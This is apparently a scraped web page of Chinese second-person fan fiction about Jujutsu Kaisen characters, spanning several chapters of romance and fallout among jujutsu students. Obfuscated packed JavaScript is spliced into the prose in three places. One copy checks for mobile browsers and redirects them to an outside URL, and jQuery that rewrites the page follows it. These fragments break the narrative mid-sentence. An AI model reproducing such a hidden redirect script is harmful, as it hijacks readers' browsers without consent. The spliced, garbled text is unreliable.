夏油杰啊……你对他说:“那你就不要再想了,我们都不要再想了。别再梦见我了,既然事已至此。” 他的嘴唇贴着你的手心,怯懦地开合,你不应该再听他说话了。 但你稍微松开了一些,给他最后一口气的时间。 你告知他:“现在,我会捂死你,就像一个疯女人捂死没有反抗能力的婴孩。但你不会真的死亡,你会醒来,你会意识到:【倘若你已苏醒却未觉痛苦,须知你已不在活人世界】,然后,你就再也不会梦见我了。把这当成是个更好未来的开端,好吗?” “你在这没有痛苦,这里不是你该待的地方。但很高兴能在漫宿见过你。谢谢你,夏油杰。” 他说,紫色的伤口里流露出明显的银色液体,他面露哀伤但也微笑:“如果是你的话,星夏,我很高兴能这样。” 在你昏迷的第一夜,夏油杰从梦中醒来时有一些个人事务要处理。 第二夜,他没了个人事务,但需要做些卫生清洁。 而且,他震惊也胆怯地发现,夜晚伴他入睡的胸前口袋里有一道粗浅的、被人暴力撕开的伤口,那个空空荡荡的口子里,曾经摆放着他的珍视之物。 现如今那东西不知所踪。 夏油杰离开后不久,你也从漫宿回到了活人的世界。 这就是你在看到五条悟之前发生的事情。 似乎是很长的两天。 追上生气快走在前面的五条悟没费你多大功夫,因为他很体贴地没有跑起来--似乎漫画和电视剧里都喜欢一个人跑另一个人追。 不仅如此,在你触手可及地方,他还慢了几拍下来,很难不认为他是在特意等你,但又不想明显。 太明显了,你从背后抱着他。五条悟停了下来。 他的声音又很响亮:“你别碰我,我们已经……你想干嘛?” 最终,他也没喊出那句【我们已经分手了】。 嘴上留情的好心人用那双亮晶晶的大眼睛看你,因那其中没有生气,所以更引起了你的愧疚。 “想留住你。我知道错了,对不起。” 你也是做过正常人的,知道和一个人谈恋爱以后就最好不要和其他任何人发生亲密关系。你们恰好在一盏昏黄的路灯下,你抬头看着他,等待他的回答。 他看你没再继续往下说后,才做出了生气的样子,并给你打了0分:“你不会就指望说句对不起就挽回我吧,更努力一点啊!” 你对他说:“因为是很严肃的事情,我已经深深认识到了自己的错误。” 你的手伸到前面去,牵他空着的右手:“所以以后不会了,我想明白了,我只和你交往,我也只喜欢你。” “什么意思,你不喜欢杰了?” “嗯,不喜欢了。” “怎么可能,你说不喜欢就不喜欢了?之前不是还说我不近人情么。”五条悟居高临下地低头审判你,还抽出手来,轻佻地抬起你的下巴。“你要说明白点,我再决定要不要原谅你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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噢,硬要说的话,全部。 可你只是盯着五条悟,希望他自己打住,不要再问下去。 五条悟在这个时候展现出了他确实存在一点高尚的品质,他是一个足够好的男朋友,至少在这方面,他没再推你一把。而且宽容。 他在一种疑似自己都不可置信的状态下轻飘飘揭过了此事。 “好吧,我以后说不定会后悔这么做。”他嘟囔。 “都怪你害我上了当,铃木星夏,你这个狡诈的坏女人。”五条悟勾起你的下巴,他可算是一点也没说错。之前你似乎还觉得他性情顽劣,那才是你的一点误解,交往愈深,你越意识到他品性温和,而且耳朵软得很。 “以前的事情我们就都不去管了,但从今天开始,你只能和我在一起。不可以和别人走得太近,杰也不行!” 瞧,他这就自圆其说并且一笑而过。 不过说完这句话以后他立刻改口:“倒不如说正是杰才不行,我会盯着你的,星夏。” 两只浅蓝色的眼睛熠熠闪光,他的眼睫也都成了金色。 某种酸胀的情绪填补了你,你开始失去了维持柔和表情的支撑,如果说夏油杰的忏悔让你觉得啼笑皆非并且产生了些许自责,那五条悟毫无保留的净澈就让你看到了自己在某些方面的相形见绌。 世界上的坏人各种各样,你还没做过让自己无法原谅的坏事情,也从不认为需要忏悔。但在五条悟这样的眼神面前,你觉得有些痛苦。 哦,是的,你不算什么坏人,你做事情也问心无愧。你不会骗自己,你也没打算这么做。 不过事实是,如今你瞧见越多,得到越多,你会失去越多。 64.第 64 章 有些事情不便细想,想起来难免嫉妒。不过说起来,如果你和五条悟一样拥有顺利的人生和优越的配置……你会更乐意挥霍你本可以拥有的特权,不太高尚哦。 不过也不是什么大问题--多在意一点自己的小事。 你对自己整体情况接受良好,坦然放松。 第二天,当你在你的房间里打开门出来,在阳光下伸懒腰的时候,七海弄掉了手中的玻璃杯,它碎了。 “七海,怎么——铃木!!” 灰原飞速冲过来抱住了你,这是他第一次表现得如此亲近。 “唔,你还挺结实的,灰原。” 这是你被呼在墙上以后面对冲击力的意外评价。 “对不起对不起,你是什么时候--” 你打断了他,自觉说起情况:“昨晚,我醒了,因为时间不早所以没打扰你们。就和五条出去吃了点东西,然后像往常一样回来睡觉了。对了,灰原,你怎么样?” “强壮得可以吃一头牛!” “不,这个一般是用来形容人很饥饿的。”很好,灰原这边问题不大。 事情都和计划中一样。 你把注意力转到七海那边,他正蒙着手巾收拾地上的碎玻璃渣,即便在你往那走的时候也不肯抬头给你一个眼神。 灰原出来迎接今日第一大惊喜后就急匆匆回去换衣服了,他身上还是成套的睡衣。 “你就没什么想和死里逃生的同学说的吗?这么不近人情。” 不巧,刚刚经历了几轮问询,又难免还有点担心你失算,结果在你打招呼的一瞬间就领悟了你不想醒来的真原因竟然是:不想处理善后--的好人七海,他现在心肠比冷硬的铁石还结实。 如同扭转到不可松动的螺丝,他抬起头,虽然仰视但毫无情感:“你早就知道这些事情了,那你也该想到我的反应。” “不能这么说,毕竟,人心难测。”你的意思有两层,从七海的表情上,他听明白了。 一方面你给自己设计了一个托词,说你也不敢笃定他的反应,所以才出来社交; 另一方面,你正是不敢完全托付信任,才在两天前的紧要关头对他那么严厉的。 七海建人也许比其他人更了解你,不仅因为你们是一年同期而他擅长观察,还因为你对他展现出的恩威并施一面历历在目--当他扛着你抛下灰原的性命往山下奔跑的时候,他想救你。 他以为你是面对突发状况陷入恐慌的同窗。 转眼你的形象就变了样,成了变幻莫测不知根底的幕后真凶。那个效应,他们是怎么说来的? 欢乐谷效应? 灰原不在,表面的和平也没必要维持,他站起来,手里紧攥着包裹碎渣的布:“铃木,我只问你一个问题。如果灰原一定不能完好无损的离开山上,那么为什么在他身上制造伤口的人,会是比起来更不擅长避开要害器官的我,而不是你呢。” 聪明的孩子,你对他仰起脸,在阳光下答复他:“答案不是你已经知道了吗?” 说是问题,七海可一点也没有疑问的语调。 你们的聊天就到此为止了,你恰当地表露出自己的戒心之后,七海亦如是。 那个时候你还不知道,这是七海决定给你也给他自己的最后一个机会。否则你……算了,也都不好讲,祸与福,世事难料。 当夏油杰找到你的时候,你还在享受夜蛾老师好心帮你批来的最后几天假--一共10天。 他先问你清不清楚你的同期之一,也就是七海,已经向上呈递了退学的申请。 端茶杯的手一晃,但其实你比你看上去的更惊讶:“不,不知道。前辈你怎么会知道?” 怪不得今天夏油杰破天荒的找你去喝茶,你以为他是想找你聊感情问题,看来你有点低估了他。 哎,人在梦里露出脆弱的一面,在梦外却有人因此看轻这点。在这里,你不够地道。 “七海……这件事情和你有关吧,星夏。”夏油杰很直接。 “呃,我觉得这个推测有点冤枉我。” 有点,但不多。 “我问他的时候他提到了你。” “原来源头在这儿。”你说呢,夏油自从冬天以后对你还是挺客气的,现在突然又跑过来疑似问责。 你没问七海说了什么,从夏油反应就能看出来七海仍然措辞克制:“你知道我的,有时候会做出一些似乎让大家都不开心,但伤害最小的事情。” 长远看来,问题不大,那个是你在短时间内想出来的权衡之举。 或者你也可以请他立下束缚,不过就你所知只有事前束缚的说法--对啊一般来说哪有先上车后补票的情形,你救治灰原的事情已经发生过了。 不如给七海一点无伤大雅的同谋冲击。同舟共济理念永不过时。 诚然,你也知道,如果当时时间更充裕,你能再柔和一点。 不过比起灰原真实死去的情况来说,目前状况已经好上太多。 你要做的事情有不少,其中不包括给未成年人心理疏导,这事于你而言完成度已达100%。要知道,即便是颇有天赋的长生者也未必能同时请动两位司辰的力量,其他人好歹还有个集会,或者更富丽的仪式与祭品。 而你呢,你只有你自己。 还没动用七海身体上的其它部件。 夏油杰因为你的话闷头喝了一杯热茶。 他已经习惯不管你和谁,乃至于你自己本人都是一个巨大谜团的事情了,更不用说他心里还有一些想问但不敢开口的问题。 不过他不问你问题,你反而有点忍不住了:“其实一级咒灵还挺难祓除的,七海仅仅因为我们之间的小问题就大张旗鼓,实在是不懂我的辛苦。” 但你即便对夏油杰也不会大倒苦水,秘密在你身边画地为牢成一个孤独的方块,你安全,但与毫无保留的人仍有距离。 一级一点也不难,难的是把一个人拼拼图一样修复好。如果硝子知道你的举动,一定会大呼你已经远超最优秀的治疗人员许多。 “他怎么就不想想我也许也付出了很多呢?” 血液可是很宝贵的财产,你在这个月失去了不少,说起来竟然眼前人也有一份功劳。 哎,真的是,你嘴巴里的烫伤到现在还没好,有一个不大不小的水泡。 夏油杰握住你在桌上没节奏敲打的手,止住了你在公共场合制造噪音的举动:“你付出了什么呢?星夏,如果我不知道,我就没办法帮你。七海也不知道,但我相信,他确实是个很好的守密者。” 你嘟囔:“如果他是,他就不会对你说出我的名字了。” 是,你突然展现了超出所有人认知的技巧,而且那不是反转术式,显然七海害怕了,他这人胆子一向略大于正常人。 而他很正常,正常到让你苦恼。 同期奇迹般愈合,就好像魔术师用碎掉的纸钞在手里揉揉就成了漫天飘洒的钱雨,笨一点的人早就顾着捡钱去了。而他不够笨,对这种超自然的力量感到惊讶,也不够智慧,不知道要如何掩饰自己的惊慌。 七海如果知道了,他就不能假装自己不知道。 被迫闭上眼睛这件事情让他不舒服。 因为他还没见过更不舒服的事情。 也许30岁的七海会懂得不声张的道理,但他现在17,你眼前的人也是。 你还能指望什么呢? 这是结构性的矛盾。 你抽回自己的手,感觉到倦怠,你告诉夏油杰:“你们不会懂的。如果我要找能理解我的人,就只能在行将就木的老人中找啦。”至少对于老年人来说,大家的年龄差还比较小。 也明白理解在大部分时候是奢望,它经常是鸿沟,偶尔还能做战壕,双方在里头打个你死我活,直到有人决定投降。 “……好吧,我……尊重你的看法。”夏油在这次社交中选择退让。 “真是谢谢你了。” “……你在阴阳怪气吗,星夏?” 你吃点甜的停止抱怨:“没有的事情,我这人心直口快。” 现在,随口逗弄了一下眼前的人,你的心情又好了起来:“所以七海会退学吗?” 夏油:“我一开始说的就是这个,你有在听吗?” “有,但我不是特别在意,现在正好问问。” “我知道你只是嘴上不客气,不过这么说也--是不是有点激进了?” “最近确实有点上火。”看来每种密传都有它对应的渴望,你还得慢慢适应:“不过我是说真的,七海决定离开也是他自己的选择,至少我和灰原还完全没听说这事。 我是说,根源明显只在于他和学校上。” 夏油杰和后辈的关系都不差,对七海的性格也略有了解,你的话在他脑袋里过了一圈,又结合了他自己的想法。他问:“你是说,他其实本来也不想做咒术师?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你不就在旁边吗?”你把玻璃杯丢在地上,这种事情用不着问,七海脑袋里肯定还记得发生了什么。 “你是……特级?你想做什么?” “你还真是想不出咒术范畴以外的东西,是不是?”要是反转术式能解释一切,你根本用不着七海保密,大不了让大家发现你其实是个万里挑一的大天才。“你都要离开高专了,真的要把为数不多的时间用在探寻我身上吗?” 对话的第一阶段是问来问去的问题。 第二阶段是七海那令人捉摸不透的想法。 “如果我直接离开,你就也不用担心事情泄露。总监部根本不在乎祓除咒灵过程中产生的……”七海低下头,为这个行径找到了一个说法,他选择:“连带伤害。” 真是酒不醉人人自醉。 他不是第一次意识到上层把咒术师当成耗材,但这个事实越来越近,上次任务后这个认知磨转钝痛了起来。七海再也没办法忽视了,现在他把这件事情告诉了你。 七海过了一会恍然大悟,语气中也带不虞:“忘了,你肯定早就知道。说不定你是所有人里面最聪明的人,铃-木-同-学。” “谁教你说话的,今天原谅你一次,下次不许了。”七海以前从不这样。 他说:“因为我不止恼怒于总监部。” 你知道,七海不是真的责怪你,要说他还有哪点好的,那就是原则性。谢天谢地,他终于还是想起了一个重要事实,那就是你们的另一位同期托你的福,还好端端地活蹦乱跳。 不管之前如何,现在大家都好好的--物理意义上。 “那你生气呗,我也没不准你感到愤怒。”外面灰蒙蒙的,不过这是黎明的征兆。 “哈,就这?” 你站起来,伸了个懒腰,正是睡觉的好时间。 “就这样,祝你好运啦,七海建人。” 看样子他非常需要你的道歉,七海很想听,因为就他看来他确实受到了额外的伤害。他认为这是你带给他的,傻孩子,不知道外头的世界真的会吃人呢。 而且,你们都有点不撞南墙不回头的气质。巧的是,这件事情上刚好稍微争锋相对了一下。 你才不要和以后都不一定能不能遇见的人道歉呢! 他又问了一遍:“就这样?”这会他不可置信,而且错愕。 你哈哈笑着走出了他的房间,又和新年一样留下了瓶子和果汁味道的战场。 65.第 65 章 七海走之前是灰原敲你房门把你从睡梦中拉起来。 “我不知道你们两个怎么了,自从那次任务以后就不说话了。但是我知道就算发生了再怎么样的不愉快,七海也会希望离开的时候大家都在。” 灰原非常舍不得同期的决意离去,而且对方关于缘由三缄其口。 改变让他不安,而且有点被隐瞒的难过。 “不是……”你们的欢送会已经结束了,它开始的也很早。早在所有人还在梦里的时候。 “铃木,你觉得是我的错吗?因为那次任务吓到他了。” “不至于不至于。”你穿上外套,“稍安勿躁,怎么可能是你的问题呢?” 灰原拉着你一路跑,跑过礼堂,跑过不熟悉的几重门,直到顺着平坦的大路见到滚着单薄行李箱的常服金发背影,他旁边还有熟悉的白发高挑少年,和打着哈欠的栗色短发女生。 “呀,你们终于来了。”硝子冲着急匆匆的灰原和跑动中的你打招呼,“星夏你真能睡。” 你坦然地说:“夏天就是适合睡觉。” 然后你还毫无芥蒂地对今天的主人公招手:“一路顺风~” “……”七海的眼皮在跳。 后来,他们在路上聊了些以后的去向,七海说可能回到普通高中念书,然后再继续学习,最后去公司工作。前辈们都对他的选择表示了收敛而理智的祝福。 但灰原在告别的时候甚至快到了眼泪汪汪的程度,到了这种时候,也只有他还会再问为什么,试图挽留。 他与你生活在不同的图层,但若是能一直保持快乐而简单的想法,也不错。 七海说出了一句大概会被你们所有人铭记很久的话,那时候夏油也带着新鲜的介绍信来了,他刚找辅助监督盖的章。 “我觉得,咒术师,是狗屎。” 在2007年的夏天,七海建人选择了一条不同于以前的道路,他希望去做一个社会精英,而不再期待作为咒术师的生活。 在场的四位咒术师都有些尴尬,你呢,你还好。 就是在这个时候五条悟说:“说不定以后会更好呢,到时候再说吧。” 生活又恢复了之前的样子,只是灰原少了个可以说话的朋友,他会好起来的,不过在那之前,他开始有点粘着你。 “以前七海在的时候你也不这样啊。” “我怕你也突然退学了嘛!” 你捏着下巴:“应该不会吧,我想不到有什么值得退学的坏事。你放心。” 仔细一想你从去年来,社会关系就全在高专这边了,你预想的辗转离开要在十年以后,等你没办法解释为什么你不会变老这件事情。 七海的离开可能让上层的一些人意识到了学生也不是完全任他们搓圆捏扁的面团子,不过更大的可能是上层根本不在乎,但夜蛾校长承担背负了很多--你们接下来都很轻松。 主要是你和灰原。 作为三年级的几个学生还是忙忙碌碌,你听硝子说她打算过两年考个执业医师证。 “那你资格认证怎么办?”问题来了,高专的学时它算高校在读的依据吗? 这个学校小众到恐怕能传为网络怪谈。 硝子靠在书桌上,上面有摊开的解剖图:“嗯……做一个出来吧。” 刺激,一下就听到了和遵纪守法没关系的事情。那么就算拿到了这个证件,有一定概率也没有实际效力。 “这样子意义何在呢?” “只是太无聊了,找点事情做。” 客观说来,硝子正在做的事情一点也不无聊,每天会占据她许多时间。现在又是咒灵的季节,她很忙。 你期待她再说点的眼神让她用胳膊肘顶了你一下。 “我第一个告诉你,可不是期待这种反应。” 你的观点是,这疑似人到中年失去生活目标后决定学英语或者去健身房办卡。 七海离开后劲这么大? 当然也可能不仅是那个。 你还记得第一次和硝子出去玩的时候,她在之前提到了自己对于人际关系的变动很敏感。 不仅是七海,应该在那之前,从五条和夏油不再一起任务的时候,他们就不经常能在一起了。 新的一年,到了下半年匆忙不减。 明明还没到被工作摧残的年纪,却已经体验到了被生活和任务拉扯的别离。 硝子应该也有些迷茫吧。 “挺好的。”你说,鼓励她,“如果这能让你觉得定下来的话。” “哎呀,瞒不住你呢。星夏,你就完全没有成长的烦恼吗?” 烟雾于灯光下逸散,各奔东西。 你有吗?这个是真的不记得了,但总归现在没有。 你向她推荐:“你可以试试冥想,或者gap一年。” “喂这两者差距未免太大了。” “前者是碎片化时间利用,后者是一整块时间。我的意思是,硝子前辈,你需要的只是时间。” 这种无解难题根本不用急于一时,反正只要一直活着,总有自己谅解自己的那天。 你抽了她烟盒里的一支,还顺手借用了桌子边的打火机。 这些可怜的小朋友只是认不清方向了,你于是告诉她:“最终,会好的。” 五条悟进来的时候就碰见你们两个不良少女在吸烟。 “星夏,怎么你也……” 你调转手指上烟头的方向:“你要来吗?” 你看的出来他对烟没有兴趣,不过他的眼睛在你曾经抿着的烟嘴那个地方逗留了一会。 硝子把你们都赶走了,她原话是:“要不要我离开让你们亲会嘴?” 你的好男朋友语调甜美:“诶,可以吗?” 最后,你面前有一扇紧闭的门。地上的缝里透出白光,房间里还有人,就是她让你们出来的。 “我可不是故意的,明明是硝子先问。”在你移动目光的时候,五条悟的解释说辞也正好钻进你耳朵。 “得了,我们都知道不是这么回事。你是有什么话想单独和我说吗?” “答对了!奖励你一个--”他低下头亲吻了你的侧脸,快速结束之后一手揽过你的肩膀,往前。“我们边走边说。” 他想说的事情是关于你之前提到的岩守。 那天晚上,你 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你也懒得去问她的术式究竟是什么了。 你只是提了一句:“最近灰原心情不太好,下周有个去仙台的任务,本来1个人就能完成的,我打算和他一起,或许要住一晚上才能回来。” “为了什么?” “……你知道的,旅--路费和住宿费会由高专报销。作为上月任务里受累的两个主要人物,有点补偿也是应该的吧!”不管多大年纪,遇到白拿的好情形都免不了开心一番,你说起这件事情的时候嘴角的笑容都撇不下去。 “想起来了,就是那个查看用于镇压的特级咒物的地点。”五条经你的不准确说明竟然也能对应上,他从你疑惑的眼神里知道了你想问什么,摸了摸你的脸颊,说:“怎么说也是少有的特级咒物,还是千年以前的。” 他和你说明了这样物件的稀少性。因为不能销毁的东西就那么些,时间久了都会心里有数。 “确实也是2级左右的,应该没有危险。”五条悟隐约知晓你有点化险为夷的小妙招,但他放宽心地没问你,给足了理解。 说这些是希望你安心吗?“谢谢,我还好。”只是想出去玩,不过难得他这么关心…… 空教室中,你坐在教室中间的桌子上扯了扯他衣袖:“你说我有多大可能把硝子前辈给带出去?” “0.得寸进尺了哦,星夏。”对于你试图把公费休养变成团建,而且还不打算带他这件事情,他表示不支持不理解:“除非有一个实力强劲的特级咒术师--” 你立刻选择缩圈,出言打断:“那还是算了。别瞪我,二三年级除了一位忙碌的学长之外全员出去玩,我才不想做带头孤立的事情。” 再说,五条悟哪来的时间空出一天去仙台。 夏油杰……在七海退学之前那次的谈话后,你们已经一周没有见过了,梦里也是,而仙台的行动恰巧又把本周的共同出行冲销。 很有可能,你和他的下次见面要到快十天之后。 这样也不错。 66.第 66 章 仙台是个好地方,好就好在看完观音后喝了毛豆奶昔又吃了很多烤牛舌。 这个任务简单到甚至无需辅助监督。你们只需要在第二天路过定位的某所高中里的百叶窗,再确认下传说中某特级咒物的封印还完好就好了。 “杉泽第三高中,20年前的学校哇,比我们年纪都大,星夏。”灰原一天除了坐车没干任何有关委托的事情,良心促使他提前准备起明天需要的东西。 你点头,戳破白米饭上的蛋黄,现在灰原说什么都对:“嗯嗯嗯。” “前辈们都在忙碌,只有我们两个做简单的活计还在这边排队吃饭,会不会太不好了?” 你:“嗯嗯嗯。” “……” 这种新兴的内疚式教育到底是怎么感染上灰原的?你难以获知,不过么,当务之急是把这条男朋友的讯息回了。 在大约一个小时之前,你给他发了消息:忙,等我吃饭了拍照你给你看。 然后你继续在饮品店排队。 现在你盘子里还有半份。 和服务员打了招呼:“你好,请再给我们来一份牛舌定食,多一份山药泥。” 转头,你和灰原解释:“要拍给五条看。” “这就是传说中的和伴侣分享生活吗?” “不是的。每日委托,日课,打卡,随你怎么叫。” “等等,前辈知道你这样说他吗?” 你刚打破了一个没谈过恋爱的小孩对爱情的渴望,你喝了一口热汤,表情和说笑没什么两样。 “当然不知道,如果听见的话应该会生气吧。”你是不以为每天都要做的事情有必要分享的,但考虑到对方强烈要求了,便就应下了这个特别任务。 “我想不出来五条前辈生气会是怎么样,不过夏油前辈的话,应该会皱着眉头严厉地表达失望。”说着,灰原把面部表情摆成不苟言笑,嘴角下撇的样子。 恭喜他在本次模拟前辈生气表情大赛中取得了不及格的好成绩。 你给面子地评价:“可能30岁的夏油会是这样。” “铃木,你对前辈们完全不用敬语了吗?” “别在意这些细节,你过会还想吃牡蛎吗?”可惜这个季节没有软壳蟹。 “……吃!” 仙台神社寺庙遍地,但灰原愣是一晚上都没提这件事情,看得出来这孩子心里也藏了点上次的阴影。 次日,你们在艳阳高照的高温里找到了传说中藏有驱魔咒物的百叶箱。 “不管是百叶箱还是这个小木盒都好普通。”这地方翻墙就能进,橄榄球场周围空空荡荡,虽然说鲜有偷盗的风险,然而……“应该有些诅咒师或者猎奇中间商会对它感兴趣吧。” “喔!你是说受肉?” 你看了一圈封印,一切良好。抬着手给灰原正反里外照片拍了好些张。 “所以说不要再看奇怪的网站了。我只是想说你听说过有些富豪对木乃伊的偏好之类的?” “你这个也很奇怪吧铃木。” “那是新闻上真实有过的事情,受肉……要是有合适的特级咒物容器那总监部得跳脚了。”放出来至少也是个特级。 灰原这会津津乐道起来:“可是容器能解决【特级咒物无法销毁】的难题,只要……啊,好像有点不幸哦。” 他意识到,这也代表着某人的死亡。 不过那都是无稽之谈,目前是的。 你们只用半个小时就解决了任务,而回去的票尽可能往后推的买在了下午。 难得有时间正好在城里购物,你拉着灰原走了几个商场,买了些东京都有的东西-- “所以回去买不就好了?” “东京的货品齐全和我们筵山有什么关系。话又说回来,要不你给前辈们买点伴手礼?”你的意思是,你就只拿自己的东西。 灰原这就突然想起来一件事:“上次说要给他们带礼品的,结果……上次夏油前辈说想吃甜的!” 最后他选择了礼品店里无论是外表还是口感都很讨喜的麻薯团子。 回去的路上,灰原在后头拎着大包小包,他人真好,你得以在前头自由畅快两手空空地行进。 当晚,8点,你的男朋友吃到了生产日期还是今天的甜点心。 “味道勉勉强强还可以吧。” “灰原买的,他还在旁边呢,你太没礼貌了嗷。” “……什么,你没买吗?” “没。” 灰原其实能看出来前辈可能还挺喜欢这个口味,只是……故意这么说的。 等你的同期鞠躬离开后,五条自动承担了帮你拎东西的搬运工之职,不过他这人也自说自话,开始翻起了你买的各种物件。 最后五条悟失望地发现:“你连没用的景点印花餐巾纸都买了,但没给我买东西?” 你还没到那种程度,纠正他:“那个是购物额度到了以后赠送的。” “这也开脱不了你重大失职的过错。” 是是是,你没办法,最终还是拿出了本来还没想好要不要送给他的挂件。 它在你的口袋里待了好几个小时了。 “给你,狐狸挂件玩偶。”你手背拍了拍额头,解释:“仙台周边不是有个狐狸村吗,显然,我和灰原来不及去,而夏天恰好狐狸换毛,观赏性一般。 不过呢,仙台的礼品店里仍然有狐狸的周边,可能就是为我们这种不去景点但是想买纪念品的人准备的吧。 送你了。” “……” 五条悟没有第一时间接过它,而是翻起了他左手的第二个袋子,然后,直到他赫然从里面拿出一条造型非常可爱的狐狸耳朵束发带时。 你大概知道你的男朋友想问你什么了。 于是抢答:“不是一套,只是确实有只狐狸长这样,以它形象设计的。” “我不管,你戴给我看。” 你就知道…… 你不得不和他解释,虽说他本来也应该知道:“这是洗脸的时候箍头发的。” 五条悟表现出了青少年极佳的品质:毅力。 他粘着你一路,一直跟在你后头到宿舍门口。 巧合之处就在于此,你的耐心在差不多这个时候也消磨干净。 “小悟。” “在!” 到底是谁在这种时候把desu挂在嘴边,原来是你一点也不爱用敬语的男朋友。 你直勾勾地看他,反而把他弄得脸红了。 “星夏,你突然这样喊我……总感觉没什么好事。”五条悟把自己硬挤进半个门框里,和你面对面共享同一块凹进去的地方。 “你是对的。”你冲他点点头,然后收回了挂件。 你把狐狸耳朵的束发带送给他。 “这么喜欢,我就割爱吧。”不仅如此,你还靠在门上,好整以暇等他:“不是说不洗脸也可以戴么,来吧,小悟。” 你对你想法很多的男朋友勾勾手指,这么喜欢就自己付诸实践好了,反正他也很有观赏性。 五条悟红着脸,低头,离你越来越近。 近到你们彼此能感受到对方呼吸的时候,他的声音微不可查:“星夏,只要你亲亲我,我什么都可以答应你。” 你因为他别开生面的低头感到纳闷的时候,五条又说:“真是的,一天没见,我好想你。” 他低头正方便你行事,你两手勾着发箍边,撑开它,套在了五条悟的头上。 你既没亲吻他,也没急着回点好听的话。 不过被男朋友撒娇的感觉还不错。 五条悟接着问你,语气也因为你不接话而有点迟疑:“……可爱吗?” 你摸索着隔开他的腰,找到了门把手,直接拧开门后对他伸出了右手: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14027240|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “镜子在衣柜侧边,你何不去自己看看呢?” 怎么想能让你邀请直接进房间的样子,也不会难看。 不过他这会倒没有反客为主的架势了,即使你邀请了他,在你进去打开灯和风扇的时候,他还直直地站在房外。 脚边还有之前放下的购物袋。 五条悟看着你的样子,似乎是在,不知所措? “你记得把东西拿进来。”你说。 而他在踏上木质地板的时候,还说了一句:“多有打扰。” 说真的……他被乖巧的狐狸夺舍了吗? 在灯光下看毛茸茸的红棕色耳朵毛,兽耳元素不愧是有些走在前头的潮流人士青睐的……下次你会买白狐的,也许带点灰蓝也不错。 今晚趁着灯光和月色,衣柜上的镜子见证了轻快的你和真的很害羞的五条悟。 在去他寝室的路上,你得知了他感到不好意思的真正缘由:因为你邀请他进你的房间。 “里面不是什么也没有吗?” 他就很快的告诉你其中的不同:“有你身上的香味。” “谢谢你这么关注细节,是熏香蜡烛。”门窗紧闭,空间里的味道当然不会散去。 “等等,”五条悟突然停下脚步,你在他旁边和他牵手,亦站定不动。 他问你:“你跟我出来做什么?” “送你回宿舍,总感觉应该这么做呢。” “星夏,你欺负我!” “哪有,你不也到半路才反应过来吗?”你歪着头对他露出一个牙齿能照出月光的微笑,“看你的样子就差点以为你会冒出【我怕黑】这样的请求。” “……”平时飒爽干练的卓越咒术师也没想到你作为感情中的一方这么擅长调笑,他鼓着嘴,然后托住了你的后脑勺。 晚风吹得树叶沙沙作响,你知道前面是一片竹林,你偶尔会路过这个地方。在白天,它们的影子会在绿茵茵的草地上打出漂亮也不规则的斑驳图样。 现在,他非常温柔的说把眼睛闭上,轻轻的,慢慢地,用他的嘴唇碰你的,一阵酥麻的感觉沿着嘴唇漫布全身。你想了想,决定现在应该什么也不想。 不好的是,在你送男朋友回宿舍、进宿舍站了一会、磨磨蹭蹭被告别、出门之后,不幸遇到了一个人。 是你最近在避免见面的夏油杰。 深入而细密的吻有的时候让人缺氧失神,在第一个不好的基础上,你做了一件不好的事--下意识摸了摸嘴唇。 等到你反应过来发生了什么的时候,一切都迟了。 “……唉。”你发出一声很轻的叹息,不比外头的蝉鸣更容易入耳。“晚上好,夏油前辈。” 他没有理你,转身下了楼梯。 你想了想,也不好从窗户跳下去,也就停了一会也跟着他的路线往下行。 但终究,你们也没能保持距离。 夏油杰散着头发在楼下等你。 当你的眼睛对上他的时,你们起初都没说话,然后他问你,就像日常聊天那样:“之前我的梦,都是真实的,是吗?” 你看见一轮满弓,被拉扯到极致,迫切地叫嚣着反张的力量。然而无论如何,现如今它都是静止的,看起来无甚压力。 你说:“是的。” 低声细语,不比指甲刮擦过绷紧的弓弦上声音更响。 无事发生,只有什么东西惊扰了周围树上的鸟类,它们四散换了地方。 夏油杰往你的方向行,擦肩后没停留,走了。 对一个穿着拖鞋的男人感到紧张是很罕见的事情,不过现下情况就是这样。 他周身有挥之不去的潮湿气息,背影清瘦,他的方向是上楼。 你意识到,他是特意为了你才下来的,只想要一个答案。 然后那就耗尽了他的全部。 夏油杰不敢再听你说话了。 67.第 76 章 1、yes or no,但是or 有趣的是,你和五条悟的接下来一次任务约会时谈起了一个问题,双重身份。 话题结束于你说:“如果我是一个浪迹世间的黑户,同时需要为多起未破获的案件负责的-” 他打断了你:“前面是真的,而且你从来不提自己的来历,除了伦敦,但后面……星夏,真好,你也到了幻想自己是一个大魔王的年纪。” 据五条悟所说,他期待摧毁一切的年纪大约在12,因为京都真的很无聊。他还给自己用了一个悲情的笼中鸟譬喻。 你哂笑:“这才到哪呢,是不是就算你已经捧到了月亮,还要觉得自己是不幸的?” 你们没就干坏事这个议题再深入聊下去,应该……这不会让他高兴的。 你挥挥手就把这段不重要的过往扑散了。 “对了,下周和杰的任务要跑很远,你们……没事吧?” 一切都在掌握之中。 你比了个OK手势:“结束了,就这样。” 你看见男朋友继续凝视的目光,又修正了一下说话方式:“其实从没开始。” 过了一会,你男朋友扭扭捏捏跟你讲:“杰最近有心事。” 夏油杰不一直有心事吗?何止在最近。 “我问他了,他不肯说。” 你随手翻着手里的书,这是一本被翻译成英语的长篇小说,成书于19世纪俄国。 “星夏,你有在听吗?” 